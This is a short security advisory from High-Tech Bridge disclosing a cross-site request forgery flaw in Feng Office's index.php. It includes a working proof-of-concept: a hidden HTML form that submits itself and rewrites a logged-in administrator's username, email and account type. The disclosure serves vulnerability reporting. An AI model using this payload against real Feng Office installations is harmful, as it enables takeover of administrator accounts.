Cross-site Request Forgery (CSRF) in Feng Office

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Feng Office which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Feng Office
The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://host/index.php?active_project=0&ajax=true&c=account&a=edit_pr ofile&id=USERID&current=administration" method="post" name="main">
<input type="hidden" name="user[display_name]" value="test">
<input type="hidden" name="user[username]" value="test">
<input type="hidden" name="user[company_id]" value="1">
<input type="hidden" name="user[personal_project_id]" value="2">
<input type="hidden" name="user[type]" value="admin">
<input type="hidden" name="user[auto_assign]" value="0">
<input type="hidden" name="user[autodetect_time_zone]" value="1">
<input type="hidden" name="user[timezone]" value="0">
<input type="hidden" name="user[email]" value="[email protected]">
<input type="hidden" name="user[title]" value="">
</form>
<script>
document.main.submit();
</script>